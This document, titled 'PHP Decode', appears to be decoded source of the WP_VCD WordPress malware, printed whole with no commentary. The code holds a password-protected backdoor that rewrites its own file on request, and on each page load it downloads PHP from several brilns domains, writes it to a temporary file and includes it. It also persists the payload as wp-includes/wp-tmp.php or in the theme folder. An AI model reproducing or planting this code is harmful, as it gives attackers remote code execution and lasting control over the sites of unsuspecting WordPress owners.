PHP Decode

<?php 
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '{$PASSWORD}')) 
	{ 
$div_code_name="wp_vcd"; 
		switch ($_REQUEST['action']) 
			{ 
 
				 
 
 
 
 
				case 'change_domain'; 
					if (isset($_REQUEST['newdomain'])) 
						{ 
							 
							if (!empty($_REQUEST['newdomain'])) 
								{ 
                                                                           if ($file = @file_get_contents(__FILE__)) 
		                                                                    { 
                                                                                                 if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain)) 
                                                                                                             { 
 
			                                                                           $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file); 
			                                                                           @file_put_contents(__FILE__, $file); 
									                           print "true"; 
                                                                                                             } 
 
 
		                                                                    } 
								} 
						} 
				break; 
 
								case 'change_code'; 
					if (isset($_REQUEST['newcode'])) 
						{ 
							 
							if (!empty($_REQUEST['newcode'])) 
								{ 
                                                                           if ($file = @file_get_contents(__FILE__)) 
		                                                                    { 
                                                                                                 if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode)) 
                                                                                                             { 
 
			                                                                           $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file); 
			                                                                           @file_put_contents(__FILE__, $file); 
									                           print "true"; 
                                                                                                             } 
 
 
		                                                                    } 
								} 
						} 
				break; 
				 
				default: print "ERROR_WP_ACTION WP_V_CD WP_CD"; 
			} 
			 
		die(""); 
	} 
 
 
 
 
 
 
 
 
$div_code_name = "wp_vcd"; 
$funcfile      = __FILE__; 
if(!function_exists('theme_temp_setup')) { 
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI]; 
    if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) { 
         
        function file_get_contents_tcurl($url) 
        { 
            $ch = curl_init(); 
            curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE); 
            curl_setopt($ch, CURLOPT_HEADER, 0); 
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
            curl_setopt($ch, CURLOPT_URL, $url); 
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE); 
            $data = curl_exec($ch); 
            curl_close($ch); 
            return $data; 
        } 
         
        function theme_temp_setup($phpCode) 
        { 
            $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup"); 
            $handle   = fopen($tmpfname, "w+"); 
           if( fwrite($handle, "<?php
" . $phpCode)) 
		   { 
		   } 
			else 
			{ 
			$tmpfname = tempnam('./', "theme_temp_setup"); 
            $handle   = fopen($tmpfname, "w+"); 
			fwrite($handle, "<?php
" . $phpCode); 
			} 
			fclose($handle); 
            include $tmpfname; 
            unlink($tmpfname); 
            return get_defined_vars(); 
        } 
         
 
$wp_auth_key='6894c39174cf08887239dbf6718f9147'; 
        if (($tmpcontent = @file_get_contents("http://www.brilns.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.brilns.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) { 
 
            if (stripos($tmpcontent, $wp_auth_key) !== false) { 
                extract(theme_temp_setup($tmpcontent)); 
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent); 
                 
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) { 
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent); 
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) { 
                        @file_put_contents('wp-tmp.php', $tmpcontent); 
                    } 
                } 
                 
            } 
        } 
         
         
        elseif ($tmpcontent = @file_get_contents("http://www.brilns.pw/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) { 
 
if (stripos($tmpcontent, $wp_auth_key) !== false) { 
                extract(theme_temp_setup($tmpcontent)); 
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent); 
                 
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) { 
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent); 
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) { 
                        @file_put_contents('wp-tmp.php', $tmpcontent); 
                    } 
                } 
                 
            } 
        }  
		 
		        elseif ($tmpcontent = @file_get_contents("http://www.brilns.top/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) { 
 
if (stripos($tmpcontent, $wp_auth_key) !== false) { 
                extract(theme_temp_setup($tmpcontent)); 
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent); 
                 
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) { 
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent); 
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) { 
                        @file_put_contents('wp-tmp.php', $tmpcontent); 
                    } 
                } 
                 
            } 
        } 
		elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) { 
            extract(theme_temp_setup($tmpcontent)); 
            
        } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) { 
            extract(theme_temp_setup($tmpcontent));  
 
        } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) { 
            extract(theme_temp_setup($tmpcontent));  
 
        }  
         
         
         
         
         
    } 
} 
 
//$start_wp_theme_tmp 
 
 
 
//wp_tmp 
 
 
//$end_wp_theme_tmp 
?>